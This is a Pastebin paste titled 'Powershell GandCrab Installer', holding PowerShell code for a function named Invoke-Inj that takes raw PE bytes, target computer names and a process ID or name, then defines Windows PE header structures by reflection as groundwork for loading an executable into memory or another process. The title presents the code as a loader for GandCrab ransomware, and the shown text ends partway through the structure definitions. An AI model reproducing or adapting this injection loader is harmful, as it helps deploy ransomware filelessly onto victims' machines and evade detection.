PepperPotts

Powershell GandCrab Installer

Jul 12th, 2018
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Invoke-Inj
  2. {
  3.  
  4. [CmdletBinding()]
  5. Param(
  6.     [Parameter(Position = 0, Mandatory = $true)]
  7.     [ValidateNotNullOrEmpty()]
  8.     [Byte[]]
  9.     $PEBytes,
  10.    
  11.     [Parameter(Position = 1)]
  12.     [String[]]
  13.     $ComputerName,
  14.    
  15.     [Parameter(Position = 2)]
  16.     [ValidateSet( 'WString', 'String', 'Void' )]
  17.     [String]
  18.     $FuncReturnType = 'Void',
  19.    
  20.     [Parameter(Position = 3)]
  21.     [String]
  22.     $ExeArgs,
  23.    
  24.     [Parameter(Position = 4)]
  25.     [Int32]
  26.     $ProcId,
  27.    
  28.     [Parameter(Position = 5)]
  29.     [String]
  30.     $ProcName,
  31.  
  32.     [Switch]
  33.     $ForceASLR,
  34.  
  35.     [Switch]
  36.     $DoNotZeroMZ
  37. )
  38.  
  39. Set-StrictMode -Version 2
  40.  
  41.  
  42. $RemoteScriptBlock = {
  43.     [CmdletBinding()]
  44.     Param(
  45.         [Parameter(Position = 0, Mandatory = $true)]
  46.         [Byte[]]
  47.         $PEBytes,
  48.        
  49.         [Parameter(Position = 1, Mandatory = $true)]
  50.         [String]
  51.         $FuncReturnType,
  52.                
  53.         [Parameter(Position = 2, Mandatory = $true)]
  54.         [Int32]
  55.         $ProcId,
  56.        
  57.         [Parameter(Position = 3, Mandatory = $true)]
  58.         [String]
  59.         $ProcName,
  60.  
  61.         [Parameter(Position = 4, Mandatory = $true)]
  62.         [Bool]
  63.         $ForceASLR
  64.     )
  65.    
  66.     ###################################
  67.     ##########  Win32 Stuff  ##########
  68.     ###################################
  69.     Function Get-Win32Types
  70.     {
  71.         $Win32Types = New-Object System.Object
  72.  
  73.         #Define all the structures/enums that will be used
  74.         #   This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
  75.         $Domain = [AppDomain]::CurrentDomain
  76.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  77.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  78.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  79.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  80.  
  81.  
  82.         ############    ENUM    ############
  83.         #Enum MachineType
  84.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  85.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  86.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  87.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  88.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  89.         $MachineType = $TypeBuilder.CreateType()
  90.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  91.  
  92.         #Enum MagicType
  93.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  94.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  96.         $MagicType = $TypeBuilder.CreateType()
  97.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  98.  
  99.         #Enum SubSystemType
  100.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  104.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  105.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  106.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  107.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  108.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  109.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  110.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  111.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  112.         $SubSystemType = $TypeBuilder.CreateType()
  113.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  114.  
  115.         #Enum DllCharacteristicsType
  116.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  117.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  118.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  119.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  120.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  122.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  123.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  124.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  125.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  126.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  127.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  128.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  129.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  130.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  131.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  132.  
  133.         ###########    STRUCT    ###########
  134.         #Struct IMAGE_DATA_DIRECTORY
  135.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  136.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  137.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  138.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  139.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  140.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  141.  
  142.         #Struct IMAGE_FILE_HEADER
  143.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  144.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  145.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  146.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  147.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  148.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  149.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  150.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  151.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  152.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  153.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  154.  
  155.         #Struct IMAGE_OPTIONAL_HEADER64
  156.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  157.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  158.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  159.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  160.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  161.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  162.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  163.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  164.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  165.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  166.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  167.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  168.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  169.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  170.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  171.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  172.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  173.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  174.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  175.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  177.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  178.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  179.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  180.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  181.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  182.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  183.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  184.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  185.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  186.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  187.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  188.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  189.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  190.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  191.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  192.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  193.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  194.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  195.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  196.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  197.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  198.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  199.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  200.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  201.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  202.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  203.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  204.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  205.  
  206.         #Struct IMAGE_OPTIONAL_HEADER32
  207.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  208.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  209.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  210.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  211.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  212.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  213.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  214.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  215.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  216.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  217.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  218.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  219.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  220.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  221.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  222.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  223.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  224.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  225.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  226.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  227.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  229.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  230.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  231.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  232.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  233.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  234.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  235.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  236.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  237.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  238.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  239.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  240.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  241.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  242.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  243.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  244.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  245.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  246.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  247.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  248.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  249.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  250.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  251.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  252.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  253.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  254.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  255.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  256.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  257.  
  258.         #Struct IMAGE_NT_HEADERS64
  259.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  260.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  261.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  262.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  263.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  264.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  265.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  266.        
  267.         #Struct IMAGE_NT_HEADERS32
  268.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  269.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  270.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  271.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  272.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  273.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  274.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  275.  
  276.         #Struct IMAGE_DOS_HEADER
  277.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  278.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  279.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  285.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  286.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  287.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  288.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  289.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  290.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  291.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  292.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  293.  
  294.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  295.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  296.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  297.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  298.         $e_resField.SetCustomAttribute($AttribBuilder)
  299.  
  300.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  301.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  302.  
  303.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  304.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  305.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  306.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  307.  
  308.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  309.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()  
  310.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  311.  
  312.         #Struct IMAGE_SECTION_HEADER
  313.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  314.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  315.  
  316.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  317.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  318.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  319.         $nameField.SetCustomAttribute($AttribBuilder)
  320.  
  321.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  322.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  323.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  324.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  325.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  326.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  327.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  328.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  329.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  330.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  331.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  332.  
  333.         #Struct IMAGE_BASE_RELOCATION
  334.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  335.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  336.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  337.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  338.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  339.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  340.  
  341.         #Struct IMAGE_IMPORT_DESCRIPTOR
  342.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  343.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  344.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  345.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  346.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  347.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  348.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  349.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  350.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  351.  
  352.         #Struct IMAGE_EXPORT_DIRECTORY
  353.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  354.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  355.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  358.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  359.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  360.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  361.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  362.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  363.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
